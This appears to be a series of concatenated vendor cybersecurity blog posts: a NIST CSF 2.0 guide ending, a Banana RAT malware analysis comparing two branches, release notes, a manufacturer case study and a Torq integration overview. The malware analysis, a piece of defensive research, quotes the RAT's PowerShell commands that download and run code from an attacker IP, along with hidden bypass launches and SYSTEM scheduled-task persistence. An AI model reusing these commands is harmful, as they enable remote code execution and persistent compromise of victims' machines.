These lessons should then feed back into the Identify function, where NIST places continuous improvement. Detection rules, response playbooks, investigation procedures, and future risk priorities can all be updated based on what the organization learned. 

Integrating ANY.RUN into NIST CSF 2.0 Implementation 

ANY.RUN’s strongest contribution is in the Identify, Detect, and Respond functions, where teams need current threat intelligence, behavioral evidence, and clear investigation findings. It also contributes operational evidence that can inform governance, strengthen safeguards, and support improvements after an incident. 

This mapping helps CISOs understand where ANY.RUN fits within the wider security architecture. The result is a stronger flow of evidence across identification, detection, response, and continuous improvement, without treating ANY.RUN as a replacement for the wider controls and responsibilities required by NIST CSF 2.0.  

Turning the Framework into a Working Security Program 

NIST CSF 2.0 gives CISOs at US companies a practical way to connect cybersecurity activities with business and regulatory risk. Its real value comes from helping organizations identify gaps, set priorities, assign responsibility, and improve how security teams work together.

Implementation should begin with the organization’s current state and the outcomes it needs to achieve. From there, each function contributes to the same cycle: Govern sets the direction, Identify clarifies risk, Protect reduces exposure, Detect finds suspicious activity, Respond turns evidence into action, and Recover helps restore operations and improve future readiness.

ANY.RUN strengthens this cycle where deeper threat context and behavioral evidence are needed. By connecting interactive analysis and threat intelligence with existing security workflows, organizations can validate threats faster, make better-informed decisions, and improve their response processes over time.

The goal is not simply to align with NIST CSF 2.0. It is to build a security program that can adapt as threats, technologies, and business priorities change.

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps organizations investigate threats faster and make response decisions based on clear behavioral evidence. 

Its solutions include the Interactive Sandbox for enterprise-scale malware and phishing analysis, along with Threat Intelligence products built on investigation data from more than 15,000 organizations. This intelligence helps security teams enrich alerts, uncover active threats earlier, and add relevant context to detection, investigation, and response workflows. 

ANY.RUN is SOC 2 Type II attested, demonstrating its commitment to strong security controls and customer data protection. For SOCs, MSSPs, and enterprise security teams, the platform helps reduce investigation uncertainty, accelerate triage, and turn threat analysis into actionable findings. 

The post NIST CSF 2.0 Practical Guide: Building a Modern Security Program for Risk Management in the US Companies appeared first on ANY.RUN's Cybersecurity Blog.

This analysis started with an exposed public index on 198[.]245[.]53[.]26, discovered via Shodan. What made it interesting was not just the server exposure itself, but the fact that it lets us compare two different Banana RAT branches tied to the same infrastructure.

The older detonation, analyzed on May 25, 2026, used an ETW-themed installation path and fake Microsoft naming. The newer detonation, analyzed on June 09, 2026, moved to randomized installation identifiers, VBS-assisted persistence, and WebSocket C2 over a hashed testewin.com subdomain.

That difference is important. Instead of seeing a single sample in isolation, we can see how the malware evolved while keeping the same staging host. This gives defenders more than a one-off IOC list: it shows how the operator changed persistence, transport, and artifact naming between two live branches.

This article focuses on three questions:

• What the older branch did on disk, in memory, and on the network.
• What changed in the newer branch.
• Which indicators remained stable across both branches.

Why This Sample Matters

Banana RAT is already known for targeting Brazilian financial activity, especially banking sessions and Pix-related fraud. On its own, that is not enough to justify another write-up. What makes this case worth publishing is the branch evolution visible through two detonations and one exposed server.

The public index on 198[.]245[.]53[.]26 exposed not only stage files such as st.php, st2.txt, and msedge.txt, but also operational tooling such as servidor_completo_pool.py and ofuscador.py. This was not just a payload host – it appeared to be active delivery infrastructure with variant-generation logic on the backend.

That creates a useful story for readers:

• The same staging host serves both an older and a newer branch.
• The operator changed artifact naming and persistence style.
• The newer payload still keeps a fallback path that overlaps with older infrastructure choices.

Exposed Infrastructure: Payload Generator and Obfuscator

servidor_completo_pool.py

This is a FastAPI-based service that acts as a production payload distribution backend. Its most notable characteristics are: a pool-based pre-generation of payload variants, source payloads read from /var/www/html, and exposed endpoints including /proteger, /warmup, /stats, and /folders. The script includes multiple obfuscation layers with domain, path, and string transformation logic, and it explicitly protects scheduled task and registry persistence strings during transformation.

This is consistent with a live malware builder designed to generate polymorphic payload variants on demand.

ofuscador.py

This helper script converts PowerShell commands into an ASCII-character reconstruction wrapper inside a BAT launcher. It converts each character to ord(), rebuilds the command using [char[]], and executes the result with iex. The output is the kind of bat-wrapped PowerShell one-liner used as an initial lure.

Samples and Hashes

The matching SHA256 between payload_new.php.malw and the extracted runtime payload closes the loop between public infrastructure, sandbox telemetry, and recovered runtime artifact.

The Older Detonation: ETW-Themed Branch

Staging and First Execution

The older detonation analyzed Fatura-BtgPactual-22568.bat (SHA256 BC4C29BC…C0C), tagged by ANY.RUN as a PowerShell-based loader. The staging chain was straightforward:

• GET http://198[.]245[.]53[.]26/st.txt
• GET http://198[.]245[.]53[.]26/payload.php
• The visible PowerShell one-liner used was:

powershell "$po='http://198.245.53.26/st.txt';iex(irm $po)" 

This anchors the older branch to the same host later used by the newer branch. The difference is in the second-stage naming and the final payload behavior, not in the initial staging server.

Disk Artifacts and Persistence

The older branch used recognizable, static installation artifacts:

• C:\Users\Public\Documents\msedge.txt
• C:\Users\admin\AppData\Roaming\Microsoft\Diagnosis\ETW\msedgeupdate.txt
• C:\ProgramData\Microsoft\Diagnosis\ETW\msedgeupdate.txt
• C:\Users\admin\AppData\Roaming\Microsoft\Diagnosis\ETW\launcher.exe
• C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe

Additional artifacts included client.pid, client_debug.log, install.token, user_process.log, and process_7780.log. ANY.RUN behavior showed: hidden PowerShell execution, base64-encoded PowerShell, task-scheduler-backed execution, and attempts to relaunch through an -InstallService path.

Notable command lines:

"powershell.exe" -NoP -EP Bypass -W Hidden -c "$env:MSEDGE_SKIP_UAC='1'; 
 IEX (gc '...\ETW\msedgeupdate.txt' -Raw)"

"powershell.exe" -ExecutionPolicy Bypass -Command 
 "& ([ScriptBlock]::Create((gc '...\msedgeupdate.txt' -Raw))) 
 -ScriptPath '...\msedgeupdate.txt' -InstallService" 

Older Branch C2

The older branch used a pseudo-Microsoft hostname: c.windowns-cdn.com resolving to 149[.]56[.]12[.]51, with the active connection going to 149[.]56[.]12[.]51:443 (owner: powershell.exe PID 5784). This was functional but easier to cluster once defenders noticed the typo in ‘windowns’.

The Newer Detonation: Dynamic SvcName and WebSocket Branch

Staging and Payload Delivery

The newer detonation analyzed st.php.malw (SHA256 E9D918FF…66D). The staging pattern still pointed to 198[.]245[.]53[.]26, but the stage file changed from st.txt to st.php:

• GET http://198[.]245[.]53[.]26/st.php
• GET http://198[.]245[.]53[.]26/payload.php

The staging PowerShell now enforced TLS 1.2:

"powershell.exe" -NoP -EP Bypass -W Hidden -c 
 "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; 
 $env:_xR='1';irm http://198.245.53.26/st.php|iex" 

Persistence Model

The newer branch uses a cleaner and more flexible persistence model. Instead of fixed ETW-themed names, it builds a Microsoft-looking directory under ProgramData, writes the runtime payload there, then creates a VBS launcher at C:\ProgramData\Microsoft\7c70c4282dfc72fa\c9dba5b0552d.vbs.

The runtime payload explicitly sets:

TaskName = SvcName

And creates a hidden Scheduled Task running as SYSTEM:

Register-ScheduledTask -TaskName $taskName
New-ScheduledTaskTrigger -AtStartup
New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount

In this detonation, the task name was 7c70c4282dfc72fa. If the malware is not elevated yet, it supports a fallback under HKCU\Software\Microsoft\Windows\CurrentVersion\Run – the sample can survive under the user context first, then migrate into a SYSTEM-level scheduled task later.

Registry writes observed:

• HKCU\Software\Microsoft\dc98339fa461 → SvcName = 7c70c4282dfc72fa, FileName = c9dba5b0552d879be654
• HKCU\Software\Microsoft\Windows → CU = HKCU:\Software\Microsoft\dc98339fa461
• HKCU…\Internet Settings\ZoneMap → ProxyBypass=1, IntranetName=1, UNCAsIntranet=1, AutoDetect=0

WebSocket C2 and Host-Derived Domains

Instead of the older windowns-cdn pattern, the runtime payload builds a host-specific domain from the victim’s MachineGuid: MD5(MachineGuid).testewin.com. In this detonation the resolved domain was 52facc3b24f8bad9c5c56819e385f3a1.testewin.com, and the payload connected to:

wss://52facc3b24f8bad9c5c56819e385f3a1.testewin.com:443/agent

ANY.RUN showed the domain resolving to Cloudflare addresses 104[.]21.39.21 and 172[.]67[.]142[.]55. The runtime payload also contains a fallback domain (cdn.testewin.com), a fallback IP (149[.]56[.]12[.]51), protocol version 11.07-FAST-RECONNECT, and protocol magic LQWP. That fallback IP links the newer branch directly to the older one.

Threat Intelligence Classification: Chronology and Analytical Assessments

To provide a rigorous analytical framework, this campaign’s technical elements are broken down into observed telemetry, analytical inferences derived from infrastructure leakage, and historical baselines.

Prior Reporting & Legacy Baseline

• Infrastructure Origin: Historical tracking from May 2026 established the initial staging footprint on the IP 198[.]245[.]53[.]26, utilizing primitive HTTP staging paths (/st.txt).
• Static Execution Blueprint: The older branch relied entirely on static, predictable installation targets themed after Windows Event Tracing (ETW) logs (\Microsoft\Diagnosis\ETW) and a single pseudo-Microsoft C2 domain (c.windowns-cdn.com).

Observed Telemetry (Factual Artifacts)

• Exposed Staging Infrastructure: Identification of an open directory on 198[.]245[.]53[.]26 exposing the production backend framework, including servidor_completo_pool.py (a FastAPI payload generation manager) and ofuscador[.]py.
• Dynamic Endpoint Execution: Sandbox execution of the June 2026 branch (st[.]php.malw) confirmed a migration to runtime-generated paths based on the victim’s environment and a VBScript launcher wrapper.
• Encrypted WebSocket Transport: Network telemetry confirmed C2 migration to secure WebSockets (wss://.testewin.com:443/agent) routing through Cloudflare edges (104[.]21[.]39[.]21 / 172[.]67[.]142[.]55).

Analytical Inferences

• Malware-as-a-Service (MaaS) Engine: The recovery of servidor_completo_pool.py and its asynchronous pre-generation functions (code_pool.warmup_all()) strongly infers that the threat actors are running an automated, on-demand variant distribution platform to supply multiple affiliates.
• Defeating Bulk Network Clustering: The automated generation of unique subdomains derived from the victim’s MachineGuid is a calculated architectural choice. It ensures that defense mechanisms cannot sinkhole or block the core C2 infrastructure via generic domain-level blacklisting without risking collateral disruption of legitimate fronting services.
• Evasion Optimization Gaps: While the operators successfully upgraded their network transport layers (WebSockets/Cloudflare), Cloudflare is primarily utilized here to obscure the backend origin infrastructure and complicate direct IP-based blocking. However, since the campaign relies on a dedicated malicious apex domain (*.testewin.com), defenders can effectively deploy blocks at the domain, SNI, or DNS level without risking collateral disruption to unrelated legitimate services hosted behind Cloudflare.

Execution Flow Comparison

Capability Assessment

Based on payload content, sandbox behavior, and prior branch context, this branch supports:

• Hidden PowerShell staging and dynamic host-specific installation
• Persistence via Scheduled Task (preferred) and Run key fallback
• WebSocket C2 with resilient reconnect logic (11.07-FAST-RECONNECT)
• Screen and session monitoring
• Remote input capability
• System and process discovery
• File transfer and enumeration
• Key input tracking and screen capture / overlay workflows
• Runtime C# compilation via csc.exe and cvtres.exe

This is not a downloader. It is a fully-featured banking-oriented remote access payload.

MITRE ATT&CK Mapping

Building a Proactive Defense to Mitigate BananaRAT Risks and Accelerate Response

To strengthen your SOC’s defense against complex threats like BananaRAT, ANY.RUN offers a risk-based approach that bridges the gap between technical detection and business continuity. Here is how the platform enhances security operations:

Keep Perimeter Defense Up-to-Date with Real-Time Intelligence 

By integrating live Threat Intelligence Feeds directly into SIEM and SOAR systems, SOC teams can block emerging BananaRAT variants at the perimeter before they penetrate the network. This proactive layer is powered by a global community of over 15,000 organizations, providing a continuous stream of enriched IOCs that allow security teams to recognize and neutralize new attack patterns within the first 24 hours of their launch.

Accelerate Triage and Empower Tier 1 Analysts for Early Response

ANY.RUN shortens the critical decision window by allowing Tier 1 analysts to safely detonate suspicious files and URLs in the interactive Sandbox environment. Instead of escalating every alert, junior analysts can independently validate threats in under two minutes, uncovering the full execution chain and behavioral indicators of a sample.

Analysts can also quickly enrich isolated indicators with actionable context. For instance, if an analyst encounters a suspicious file hash associated with a BananaRAT attack, such as: 

md5:”e3f81120502a2945f3f0eaabc28e6d3f”

They can use Threat Intelligence Lookup to instantly tie it to a complete sandbox report. This capability allows junior analysts to independently validate threats in under two minutes, uncovering the full execution chain and reducing the Mean Time to Response (MTTR) by an average of 21 minutes.

Shift to Proactive Threat Hunting and Risk Mitigation 

To move beyond reactive defense, Tier 2 and Tier 3 analysts utilize TI Lookup, TI YARA Search to stay ahead of evolving malware families. By accessing a massive database of historical and real-time intelligence, teams can track the evolution of BananaRAT samples, identify associated infrastructure, and significantly reduce “dwell time”. 

ANY.RUN also provides TI Reports, compiled by the internal team of threat hunters and malware analysts. A prime example is the BananaRAT threat research report (Available with TI Core or Complete subscriptions) published in early June, which provides a detailed overview of current activity and ready-made intelligence for updating detection rules

This proactive stance ensures that defenses are updated based on active research, effectively neutralizing costly incidents before they disrupt core business processes.

Conclusion

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

The main takeaways are:

The staging host remained stable across both detonations.

The payload branch changed significantly between May 25, 2026 and June 09, 2026.

The newer runtime payload recovered from disk exactly matches the sandbox-dropped payload (same SHA256).

The fallback IP 149[.]56[.]12[.]51 is a reliable cross-branch anchor.

The public index exposed not only stage files but also backend tooling consistent with active, polymorphic payload generation.

The post Banana RAT Evolves: Comparing Two Recent Branches Through ANY.RUN  appeared first on ANY.RUN's Cybersecurity Blog.

Here’s what your team can put to work this month: full browser-level visibility for every URL analysis, a no-code path to embed ANY.RUN in Torq playbooks, and over 1,100 new detections across behavior signatures, Suricata rules, and YARA rules. 

Product Updates 

June’s releases focus on closing the visibility gap in phishing investigations and giving SOC and MSSP teams a faster route from alert to automated response. The headline update is in-browser data inspection, a new investigation layer in the Interactive Sandbox, alongside a new integration with the Torq AI SOC Platform. 

Closing the Phishing Blind Spot with In-Browser Data Inspection

Modern phishing campaigns rarely stop at a malicious URL. They rely on dynamic content, JavaScript, multi-stage redirects, credential harvesting forms, and browser-based tricks that often remain invisible to traditional analysis methods. 

This month, ANY.RUN introduced In-Browser Data Inspection, a new capability that captures browser-rendered content during URL analysis, revealing exactly what users would experience when interacting with a suspicious website. 

Instead of relying solely on page source or network data, analysts can now inspect: 

• Fully rendered web pages and dynamic content; 
• Phishing forms and credential collection attempts; 
• Client-side JavaScript execution; 
• Redirect chains and browser behavior; 
• Hidden elements designed to evade detection.

For SOC analysts, this means fewer blind spots during phishing investigations and faster validation of suspicious URLs. 

For security managers and CISOs, it means higher confidence in phishing detection, quicker incident triage, and better protection against increasingly sophisticated browser-based attacks. 

Scaling Triage and Response with the ANY.RUN & Torq Integration

Alert volume keeps growing faster than SOC headcount, and every alert that lands without context costs an analyst time they don’t have. ANY.RUN’s new integration with the Torq AI SOC Platform puts conclusive malware and phishing verdicts directly into the automated workflows teams already build in Torq: no custom code, no months-long rollout. 

The integration ships with five ready-to-use Torq HyperAgents covering two workflow types: case-based templates that pull observables straight from an open Torq case for enrichment, and standalone sandbox workflows that accept a URL or file as input and return a full verdict, IOC list, and report link anywhere in a custom automation chain. Results — reputation data, threat names, tags, and structured JSON — land directly in Torq Case Management, ready to branch on. 

Teams integrating ANY.RUN into Torq gain: 

• Faster incident resolution, with an average MTTR reduction of 21 minutes per case. 
• Operational scaling without added headcount, as HyperAgents absorb routine Tier 1 enrichment work. 
• Zero development overhead, with a no-code setup that’s live in minutes rather than months. 
• Standardized investigation logic, so every alert is checked against the same high-fidelity criteria regardless of analyst experience. 
• Higher ROI on existing tools, as ANY.RUN enriches the SIEM, EDR, and XDR data already flowing into Torq. 

The integration is available on ANY.RUN Threat Intelligence and Interactive Sandbox plans with API access, giving SOC and MSSP teams a direct path to scale triage and response without scaling the team itself. 

Threat Coverage Updates

Keeping pace with evolving malware remains a core priority for our detection team. During June, we significantly expanded threat coverage with:

• 1,055 new Suricata rules,
• 65 new behavior signatures,
• 14 new YARA rules.

These additions improve detection across network traffic, behavioral activity, and malware samples, helping analysts identify emerging threats faster while increasing investigation accuracy. The continuous expansion of detection logic also strengthens the quality of intelligence powering ANY.RUN’s Interactive Sandbox and Threat Intelligence solutions.

New Behavior Signatures

The 65 new behavior signatures added this month target malware-specific activity helping analysts confirm what a sample actually does inside the sandbox, rather than inferring it from static traits alone. Coverage this month spans commodity stealers and loaders, RATs, and ransomware families active across recent phishing and malvertising campaigns.

Highlighted detections include: 

New Suricata Rules

A total of 1,055 new Suricata rules were implemented in June to improve visibility into malicious network activity, including:

• Phishing Redirect Engine related URL (sid: 89003883) – Identifies various PhaaS operators’ infrastructure used as routing layer, delivering victim to specific phishkit landing pages.
• Adobe-themed RMM phishing (sid: 84003399) – Tracks attempts to lure user into installing remote management tool, disguised as shared secure documents.
• SilentNet CnC HTTP activity (sid: 84003444) – Detects SilentNet attempts to communicate with its C2-server.

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps businesses and organizations strengthen security operations with faster threat understanding andclearer evidence for response.

Its solutions include the Interactive Sandbox for enterprise-scale malware and phishing analysis, as well as Threat Intelligence solutions built on investigation data from more than 15,000 organizations. This intelligence helps security teams enrich alerts, detect active threats earlier, and support investigation and response workflows with relevant context.

ANY.RUN is SOC 2 Type II attested, reflecting its strong security controls and commitment to protecting customer data. For SOCs, MSSPs, and enterprise teams, the platform helps reduce investigationuncertainty, improve triage speed, and turn threat analysis into actionable insights for faster, better-informed decisions.

Integrate ANY.RUN into your SOC workflow → 

The post Release Notes: In-Browser Data Inspection, Torq Integration, and 1,100+ Threat Coverage Updates appeared first on ANY.RUN's Cybersecurity Blog.

By introducing behavioral sandboxing and threat intelligence, the company made triage 2x faster, achieved an MTTD of 20 seconds, improved MTTR and detection, and analyzed hundreds of supplier files every week without adding headcount.

A US Automotive Manufacturer Built Around a Large Supplier Ecosystem 

The company is a US-based automotive manufacturer operating within a highly interconnected supply chain. Its daily operations depend on continuous collaboration with more than 200 active vendors and third-party contractors. 

These external partners regularly exchange files with the organization to support ongoing manufacturing, technical, and business processes. This makes supplier communication essential to keeping operations moving, but it also creates a large and constantly changing entry point for risk. 

The SOC is responsible for protecting the company’s environment while ensuring legitimate supplier activity is not delayed. As the volume of incoming files grew, the team needed a way to analyzesubmissions consistently, improve detection and response speed, and reduce third-party exposure without increasing staffing costs. 

The Challenge: Supplier Files Were Entering Without a Consistent Analysis Process 

Before ANY.RUN, the company had no systematic process for analyzing files received from vendors and third-party contractors. 

Existing security controls could flag a submission as suspicious, but they did not always show what the file would actually do after execution. Without behavioral evidence, analysts were left with incomplete indicators and uncertain verdicts.

This created several problems for the SOC:

A Security Gap in Supplier File Intake 

Files could enter the environment without passing through a dedicated behavioral analysis layer.

This limited the company’s ability to identify threats that appeared harmless during static inspection but revealed malicious activity only after execution.

The risk was especially significant in a large supplier ecosystem. A compromised vendor account or mailbox could turn a trusted communication channel into an indirect route into the organization. With more than 47% of attacks on manufacturing companies originating from email, supplier messages and attachments represented a critical part of the company’s third-party attack surface.

High Escalation Rates 

Tier 1 analysts often lacked enough context to confidently close suspicious submissions. 

As a result, the majority of these files were escalated to more experienced analysts. Senior team members had to spend time reviewing cases that could have been resolved earlier with clearer evidence. 

Rising Investigation Costs 

The supplier network continued to generate a high volume of files. Handling that growth through manual investigation would have required more analyst hours and, eventually, additional headcount. 

Without a more scalable process, the company risked paying more just to maintain the same level of protection.

This pressure is especially high in manufacturing, where SOC teams carry an average workload 18% higher than security teams in other industries. For companies managing large supplier ecosystems, that makes manual investigation increasingly difficult to sustain.

Longer Exposure to Potential Threats 

Every delay in validating a suspicious file extended the period during which the organization could not confidently allow, block, or contain it. 

In a manufacturing environment, a missed threat can affect more than an individual endpoint. It can disrupt operations, expose sensitive data, and weaken trust across the supplier network. 

Building a Scalable Supplier File Triage and Analysis Process with ANY.RUN 

The manufacturer introduced a consistent process for analyzing files received from vendors and third-party contractors. 

By combining behavioral analysis with threat intelligence, the SOC gained both the evidence needed to understand what a file does and the context required to assess the wider threat behind it. 

Instead of relying on isolated alerts or incomplete indicators, analysts could detect malicious submissions more accurately, reach verdicts faster, resolve more cases at Tier 1, and reduce the amount of senior analyst time spent on routine reviews. 

This improved detection quality while contributing to lower MTTD and MTTR across supplier-related investigations. 

Reaching Faster Verdicts with Behavioral Evidence 

The SOC reduced triage time by giving analysts direct visibility into what suspicious supplier files did after execution. 

Files were safely analyzed in ANY.RUN’s cloud-based Interactive Sandbox, where the team could review process activity, network connections, system changes, commands, and other behavior without exposing the production environment. 

This replaced incomplete indicators with clear evidence of whether a submission was malicious and how it could affect the business. 

Structured and visual results also helped Tier 1 analysts move from alert to verdict with fewer manual checks. Instead of reconstructing file behavior across disconnected tools, they could validatesuspicious submissions faster and make more confident decisions. 

The faster path from alert to confirmed verdict contributed to improved MTTD, while clearer evidence and fewer repeated checks helped reduce MTTR. 

Connecting Supplier Files to Wider Threat Activity 

Behavioral analysis showed the team what each suspicious file did. Threat intelligence helped reveal whether the submission was connected to a larger risk.

Indicators uncovered during analysis could be linked to malicious infrastructure, related samples, known campaigns, and attacker activity. This gave analysts a clearer view of whether they were dealing with an isolated file or broader activity involving the company’s supplier ecosystem. 

The SOC also used this context to uncover additional indicators and behavioral patterns, strengthening internal detection controls beyond the original submission.

As a result, each investigation contributed to wider threat visibility. The team could resolve the immediate case while also identifying related activity that might otherwise remain hidden across the supply chain. 

Resolving More Supplier Files at Tier 1 

Before ANY.RUN, suspicious supplier files often moved up the escalation chain because Tier 1 analysts lacked enough evidence to confidently determine whether they were safe or malicious. 

With behavioral analysis, threat intelligence, and structured Tier 1 Reports available in the same workflow, first-line analysts received clearer summaries of each case, along with practical recommendations for the next step. 

This reduced the need to interpret every technical detail manually and helped analysts reach decisions faster. The company recorded a significant reduction in Tier 1 escalations, while Tier 2 received fewer low-context cases. 

The change reduced duplicated work and made better use of specialist expertise. Senior analysts spent less time repeating initial validation and more time investigating complex or high-impact threats. 

More supplier files were resolved at the right level the first time, helping investigation queues move faster and lowering the cost of each case. 

Analyzing Hundreds of Files Without Adding Headcount 

The company now analyzes hundreds of supplier files every week without hiring additional analysts.

For the business, this is one of the clearest returns from the new process. The manufacturer increased its triage and analysis capacity while keeping staffing costs stable. 

Instead of treating headcount growth as the only solution to rising file volumes, the company gave its existing team a faster and more consistent way to detect malicious activity and reach verdicts. 

The SOC now absorbs more supplier activity without creating the same increase in labor costs or investigation backlogs. 

This also gives the company a more sustainable foundation for growth. As the vendor network expands or file volume rises, the security team has a triage process that can scale with it. 

Improving MTTD and MTTR with 2x Faster Triage 

The manufacturer achieved a 2x improvement in alert processing and threat analysis speed, contributing to lower mean time to detect and mean time to respond. 

Suspicious supplier files moved through triage twice as fast. Analysts identified malicious behavior sooner, reached confirmed verdicts with less delay, and passed high-risk cases into response with clearer evidence already collected.

Legitimate submissions were also cleared faster, reducing the time business teams spent waiting for a security decision. 

This faster process also reduced the company’s exposure window. Analysts reached evidence-backed verdicts sooner without sacrificing investigation depth, helping the SOC protect operations while keeping supplier workflows moving. 

A Practical Model for Manufacturing Leaders Managing Third-Party Risk 

For manufacturing leaders, supplier security is not only a SOC issue. It affects operational continuity, staffing costs, executive accountability, and the company’s ability to grow without increasing exposure. 

A scalable approach should combine consistent file validation, broader threat context, and measurable outcomes. 

Turn Supplier File Intake into a Defined Risk Control 

A consistent triage helps the SOC apply the same standard to files received from vendors and contractors. 

With behavioral evidence from the Interactive Sandbox and additional context from Threat Intelligence, teams can replace inconsistent manual checks with a repeatable validation workflow.

For leadership, this creates clearer oversight of one of the company’s most exposed third-party risk channels. 

Increase Capacity Without Matching Growth with Headcount 

Faster verdicts and fewer unnecessary escalations allow the existing team to handle more supplier submissions. 

ANY.RUN reduces duplicated work, protects senior analyst capacity, and helps the SOC process higher file volumes without expanding at the same rate. 

The result is lower investigation cost and greater value from existing security resources. 

Protect Operations Without Slowing Supplier Activity 

Suspicious files can be analyzed in a controlled environment before they reach internal systems, while legitimate submissions move through review faster. 

This helps reduce the risk of supplier-borne threats without creating unnecessary delays for manufacturing, procurement, engineering, or other teams that depend on third-party collaboration. 

Connect Individual Submissions to Wider Exposure 

A suspicious file may be only one part of a larger campaign. 

ANY.RUN’s Threat Intelligence solutions help teams connect indicators to known infrastructure, related samples, active campaigns, and broader attacker activity. 

This gives leadership a clearer view of whether the company is dealing with an isolated submission or wider exposure involving suppliers and other external partners. 

Demonstrate Measurable Business Value 

The strongest supplier security programs are measured by outcomes, not by the number of files processed. 

With ANY.RUN, organizations can track improvements such as lower MTTD and MTTR, higher detection rates, fewer Tier 1 escalations, greater analysis capacity, and shorter exposure windows. 

These results make it easier to show how supplier security investments reduce risk, avoid additional staffing costs, and support business growth. 

Conclusion 

For this US automotive manufacturer, supplier file intake had become both a security risk and a growing cost center. More than 200 vendors were sending files into the environment, while analysts lacked a consistent way to validate behavior, add threat context, and reach fast decisions.

With ANY.RUN, the company built a scalable triage process that now supports hundreds of supplier files every week without additional headcount. Threat analysis became 2x faster, MTTD and MTTR improved, detection increased, and fewer cases required Tier 2 escalation. 

The result is a stronger security model for a complex supplier ecosystem: lower third-party exposure, better use of analyst time, and faster decisions that keep business operations moving. 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps SOC teams, MSSPs, and enterprises investigate cyber threats faster and make evidence-based security decisions. 

Its cloud-based Interactive Sandbox enables teams to safely analyze suspicious files, URLs, and emails in real time, observe malicious behavior as it unfolds, and collect clear evidence for triage and response.

ANY.RUN’s Threat Intelligence solutions provide additional context around indicators, malicious infrastructure, emerging campaigns, and attacker activity. Together, these capabilities help organizations improve threat detection, reduce investigation time, and manage growing security demands without adding unnecessary operational costs. 

The post Closing the Supplier Security Gap: How a US Manufacturer Cut Third-Party Risk and Doubled SOC Triage Speed appeared first on ANY.RUN's Cybersecurity Blog.

The result for your team is faster incident resolution, reduced alert fatigue, and proactive threat detection. 

ANY.RUN & Torq Integration 

Unlike legacy SOAR approaches that often require custom code and months of implementation, Torq allows SOC and MSSP teams to build response logic visually. The ANY.RUN integration adds a critical layer of malware analysis, phishing detection, and IOC enrichment to these workflows. 

ANY.RUN users have access to five ready-to-use Torq HyperAgents designed to accelerate time-to-verdict:

• Threat Intelligence Enrichment with TI Lookup 

• File & URL Analysis with Interactive Sandbox 

Results, including reputation data, threat names, tags, and structured JSON responses, are delivered directly into Torq Case Management. Teams can edit the current templates to fit their specific processes, adding actions, changing conditions, or using ANY.RUN as one specific step in a complex, multi-tool automation. 

Available on ANY.RUN Threat Intelligence and Interactive Sandbox plans with API access, the integration helps analysts streamline their workflows, gaining full alert or threat context quickly with an average reduction in MTTR of 21 minutes.  

Interactive Sandbox Templates in Torq 

The Interactive Sandbox workflows allow analysts to detonate suspicious objects in real-time environments (Windows, Linux, macOS or Android) to uncover evasive behaviors. There are two types of templates available for sandbox analysis: 

1. Case-Based Workflows 

These are triggered directly from a Torq Case, where observables and attachments are automatically ingested from sources like EDR, SIEM, XDR, or email security tools. 

• Process: The analyst opens a case and launches the workflow. The system automatically retrieves observables or attachments, filtering for supported objects such as URLs or files. Analysts can then select specific objects for detonation. 

• Result: Analysis data is added to the case notes in real-time. This includes a brief context, reputation, threat names or tags, and a structured JSON response. Additionally, a direct link is provided, allowing the analyst to jump into the ANY.RUN session to continue a manual, interactive analysis. 

The list of case-based templates: 

• Enrich Case with URL Analysis in ANY.RUN Sandbox 

• Enrich Case with File Analysis in ANY.RUN Sandbox 

2. Sandbox Analysis Workflows 

These templates are designed to be embedded as a specific step within a larger, custom incident response flow. 

• Process: Unlike case-based templates, these function independently of a specific case. They accept a URL or File as an input parameter and initiate the ANY.RUN Sandbox analysis. 

• Result: The workflow waits for the analysis to complete and returns a structured JSON object containing the final verdict, analysis metadata, a list of IOCs, and a link to the full report. This data can then be passed further down the custom automation chain. 

The list of sandbox analysis templates: 

• Analyze URLs with ANY.RUN Sandbox 

• Analyze Files with ANY.RUN Sandbox 

Threat Intelligence Lookup Templates in Torq 

The Threat Intelligence (TI) Lookup integration focuses on rapid enrichment of “raw” observables found in alerts, such as IPs, domains, hashes, and URLs. 

• Automation at Scale: When a case contains suspicious indicators, the TI Lookup workflow queries ANY.RUN’s vast database of threat data—continuously updated from millions of sandbox sessions. 

• Instant Context: The workflow returns high-fidelity data including the reputation of the indicator, threat names, and specific tags. This allows analysts to immediately understand the nature of a threat and decide whether to block the indicator or escalate the incident. 

• Enrichment Integration: Much like the sandbox workflows, TI Lookup results are delivered directly into the Torq interface as JSON data or case notes, ensuring that the analyst never has to leave their primary workspace to gather intelligence. 

Explore the TI Lookup template. 

How to Integrate ANY.RUN in Torq 

Setting up the integration is straightforward and requires no custom coding: 

1. Navigate to Integrations within Torq and locate ANY.RUN. 

2. Click Add, create a new instance, and enter your API key. 

3. Go to the Templates tab and search for ANY.RUN templates. 

4. Select your previously configured ANY.RUN integration to begin using the workflows. 

By default, these playbooks are configured to be launched manually. This is a deliberate design choice to ensure that only appropriate objects are sent for analysis.  

However, for high-volume environments, these templates can be easily integrated into broader, fully automated playbooks. 

Key SOC & MSSP Benefits of Integrating ANY.RUN in Torq 

ANY.RUN’s deep behavioral visibility with Torq’s hyper-automated orchestration levels up the efficiency of modern security operations, moving beyond simple automation toward maximizing security ROI. 

• Faster incident resolution (MTTR): Automating sandbox analysis and threat intelligence correlation allows you to cut incident resolution time by tens of percent. Analysts get clear verdicts in seconds, enabling them to block threats before they spread. 

• Operational Scaling: Teams can handle a growing volume of alerts with Torq HyperAgents & handling routine Tier 1 tasks, allowing analysts to focus on complex threats without increasing headcount.

• Zero development overhead: Unlike custom integrations that require months of engineering, this no-code setup is ready in minutes. You get a functional automation foundation without the cost of writing or maintaining scripts. 

• Standardized investigation logic: Every alert is checked using the same high-fidelity criteria. This ensures consistent results and reduces the risk of human error, regardless of an analyst’s experience level. 

